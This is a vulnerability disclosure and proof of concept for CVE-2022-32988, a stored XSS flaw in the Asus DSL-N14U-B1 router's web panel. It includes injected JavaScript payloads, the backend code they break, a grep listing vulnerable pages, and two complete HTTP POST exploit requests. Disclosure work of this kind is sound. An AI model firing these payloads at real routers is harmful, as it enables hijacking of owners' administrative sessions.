CVE-2022-32988: GitHub - FedericoHeichou/CVE-2022-32988

CVE-2022-32988****Affected products

We have not yet tested Asus models other than those listed. However we suspect it may also work on other models with the same firmware version.

    DSL-N14U_B1 V.1.1.2.3_805

Overview

In router Asus DSL-N14U-B1 1.1.2.3_805 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the “*list” parameters (e.g. filter_lwlist, keyword_rulelist, etc) in every “.asp” page containing a list of stored strings (e.g. Advanced_Firewall_Content.asp, Advanced_KeywordFilter_Content.asp).

POC

Via a *list parameter (e.g. filter_lwlist, keyword_rulelist, etc) in every “.asp” page containing a list of stored strings (e.g. Advanced_Firewall_Content.asp, Advanced_KeywordFilter_Content.asp) the functions tcWebApi_get and TCWebApi_get are executed to generate dynamic JavaScript code.

E.g. filter_lwlist in /cgi-bin/Advanced_Firewall_Content.asp:
Passing in the POST body:

filter_lwlist=%3C192.168.2.2%3E443%3E192.168.2.2%3E443%3ETCP'%2balert('XSS')%2b'

The backend code:

var wireless = []; // [[MAC, associated, authorized], …] var filter_lwlist_array = '<% If tcWebApi_get(“IpMacFilter_Entry","LtoW_List","h”) <> “” then tcWebApi_get(“IpMacFilter_Entry","LtoW_List","s”) end if %>’; function initial(){ show_menu(); showfilter_lwlist();
init_setting(); check_Timefield_checkbox(); corrected_timezone(DAYLIGHT_orig, TZ_orig); }

becomes:

var wireless = []; // [[MAC, associated, authorized], …] var filter_lwlist_array = '<192.168.2.2>443>192.168.2.2>443>TCP’+alert(‘XSS’)+’’; function initial(){ show_menu(); showfilter_lwlist();
init_setting(); check_Timefield_checkbox(); corrected_timezone(DAYLIGHT_orig, TZ_orig); }

Which is executed in the browser:

In this router webpanel there are many list of strings submitted by user (e.g. to specify a list of blacklisted IP, a list of ip:port to forward, etc) and in every page tested has been possible to perform XSS. A list of vulnerable pages can be retrieved via:

grep -rPi ‘var.*TCWebApi_get’ boaroot/ | awk -F’:’ ‘{print $1}’ | sort -u boaroot/cgi-bin/Advanced_ACL_Content.asp boaroot/cgi-bin/Advanced_ADSL_Content.asp boaroot/cgi-bin/Advanced_AiDisk_ftp.asp boaroot/cgi-bin/Advanced_AiDisk_samba.asp boaroot/cgi-bin/Advanced_ASUSDDNS_Content.asp boaroot/cgi-bin/Advanced_DSL_Content.asp boaroot/cgi-bin/Advanced_Firewall_Content.asp boaroot/cgi-bin/Advanced_FirmwareUpgrade_Content.asp boaroot/cgi-bin/Advanced_GWStaticRoute_Content.asp boaroot/cgi-bin/Advanced_IPTV_Content.asp boaroot/cgi-bin/Advanced_IPv6_Content.asp boaroot/cgi-bin/Advanced_KeywordFilter_Content.asp boaroot/cgi-bin/Advanced_LAN_Content.asp boaroot/cgi-bin/Advanced_Modem_Content.asp boaroot/cgi-bin/Advanced_PortTrigger_Content.asp boaroot/cgi-bin/Advanced_QOSUserPrio_Content.asp boaroot/cgi-bin/Advanced_QOSUserRules_Content.asp boaroot/cgi-bin/Advanced_SettingBackup_Content.asp boaroot/cgi-bin/Advanced_System_Content.asp boaroot/cgi-bin/Advanced_URLFilter_Content.asp boaroot/cgi-bin/Advanced_VirtualServer_Content.asp boaroot/cgi-bin/Advanced_VPN_PPTP.asp boaroot/cgi-bin/Advanced_WAdvanced_Content.asp boaroot/cgi-bin/Advanced_WANPort_Content.asp boaroot/cgi-bin/Advanced_Wireless_Content.asp boaroot/cgi-bin/Advanced_WMode_Content.asp boaroot/cgi-bin/Advanced_WWPS_Content.asp boaroot/cgi-bin/aidisk/Aidisk-1.asp boaroot/cgi-bin/aidisk/Aidisk-2.asp boaroot/cgi-bin/aidisk/Aidisk-3.asp boaroot/cgi-bin/aidisk/Aidisk-4.asp boaroot/cgi-bin/aidisk.asp boaroot/cgi-bin/APP_Installation.asp boaroot/cgi-bin/Bandwidth_Limiter.asp boaroot/cgi-bin/blocking.asp boaroot/cgi-bin/cloud_main.asp boaroot/cgi-bin/cloud_router_sync.asp boaroot/cgi-bin/cloud_settings.asp boaroot/cgi-bin/cloud_sync.asp boaroot/cgi-bin/device-map/clients.asp boaroot/cgi-bin/device-map/disk.asp boaroot/cgi-bin/device-map/DSL_dashboard.asp boaroot/cgi-bin/device-map/internet.asp boaroot/cgi-bin/error_page.asp boaroot/cgi-bin/Guest_network.asp boaroot/cgi-bin/index2.asp boaroot/cgi-bin/index.asp boaroot/cgi-bin/Main_AccessLog_Content.asp boaroot/cgi-bin/Main_AdslStatus_Content.asp boaroot/cgi-bin/Main_Spectrum_Content.asp boaroot/cgi-bin/Main_WebHistory_Content.asp boaroot/cgi-bin/ParentalControl.asp boaroot/cgi-bin/qis/QIS_admin_pass.asp boaroot/cgi-bin/qis/QIS_annex_setting.asp boaroot/cgi-bin/qis/QIS_bridge_cfg_tmp.asp boaroot/cgi-bin/qis/QIS_detect.asp boaroot/cgi-bin/qis/QIS_finish.asp boaroot/cgi-bin/qis/QIS_ipoa_cfg_tmp.asp boaroot/cgi-bin/qis/QIS_manual_setting.asp boaroot/cgi-bin/qis/QIS_mer_cfg.asp boaroot/cgi-bin/qis/QIS_mer_cfg_tmp.asp boaroot/cgi-bin/qis/QIS_ppp_cfg.asp boaroot/cgi-bin/qis/QIS_ppp_cfg_tmp.asp boaroot/cgi-bin/qis/QIS_PTM_manual_setting.asp boaroot/cgi-bin/qis/QIS_wireless.asp boaroot/cgi-bin/QIS_wizard.asp boaroot/cgi-bin/QoS_EZQoS.asp boaroot/cgi-bin/query_wan_status2.asp boaroot/cgi-bin/query_wan_status.asp boaroot/cgi-bin/start_apply.asp boaroot/html/client_function.js boaroot/html/general.js boaroot/html/help.js boaroot/html/state.js boaroot/html/validator.js

Example payloads:

POST /cgi-bin/Advanced_Firewall_Content.asp HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 880
Origin: http://192.168.2.1
Connection: close
Referer: http://192.168.2.1/Advanced_Firewall_Content.asp
Cookie: asus_token=XXXXXXXXXXXXXXXXXXXX; nwmapRefreshTime=1654435165517
Upgrade-Insecure-Requests: 1

productid=DSL-N14U&current_page=Advanced_Firewall_Content.asp&next_page=&group_id=filter_lwlist&modified=0&action_mode=apply&action_wait=5&action_script=restart_firewall&first_time=&preferred_lang=EN&firmver=1.1.2.3_805-gadd8a2b&filter_lw_date_x=1111111&filter_lw_time_x=00002359&filter_lw_num_x_0=&filter_lwlist=%3C192.168.2.2%3E443%3E192.168.2.2%3E443%3ETCP'%2balert('XSS')%2b'&editFlag=1&fw_lw_enable_x=1&filter_lw_default_x=DROP&LWKnownApps=User+Defined&filter_lw_date_x_Sun=on&filter_lw_date_x_Mon=on&filter_lw_date_x_Tue=on&filter_lw_date_x_Wed=on&filter_lw_date_x_Thu=on&filter_lw_date_x_Fri=on&filter_lw_date_x_Sat=on&filter_lw_time_x_starthour=00&filter_lw_time_x_startmin=00&filter_lw_time_x_endhour=23&filter_lw_time_x_endmin=59&filter_lw_icmp_x=&filter_lw_srcip_x_0=&filter_lw_srcport_x_0=&filter_lw_dstip_x_0=&filter_lw_dstport_x_0=&filter_lw_proto_x_0=TCP&FAQ_input=


POST /cgi-bin/Advanced_KeywordFilter_Content.asp HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 449
Origin: http://192.168.2.1
Connection: close
Referer: http://192.168.2.1/cgi-bin/Advanced_KeywordFilter_Content.asp
Cookie: asus_token=XXXXXXXXXXXXXXXXXXXX; nwmapRefreshTime=1654435165517; bw_rtab=ATM
Upgrade-Insecure-Requests: 1

current_page=Advanced_KeywordFilter_Content.asp&next_page=Advanced_KeywordFilter_Content.asp&next_host=192.168.2.1&modified=0&action_mode=apply&action_wait=5&action_script=restart_firewall&first_time=&preferred_lang=EN&firmver=1.1.2.3_805-gadd8a2b&keyword_num_x_0=&keyword_rulelist=%3CTEST%27%2Balert%28%27XSS%27%29%2B%27&keyword_enable_x_orig=0&editFlag=1&keyword_enable_x=0&keyword_enable_x_0=0&keyword_enable_x_1=0&keyword_keyword_x_0=&FAQ_input=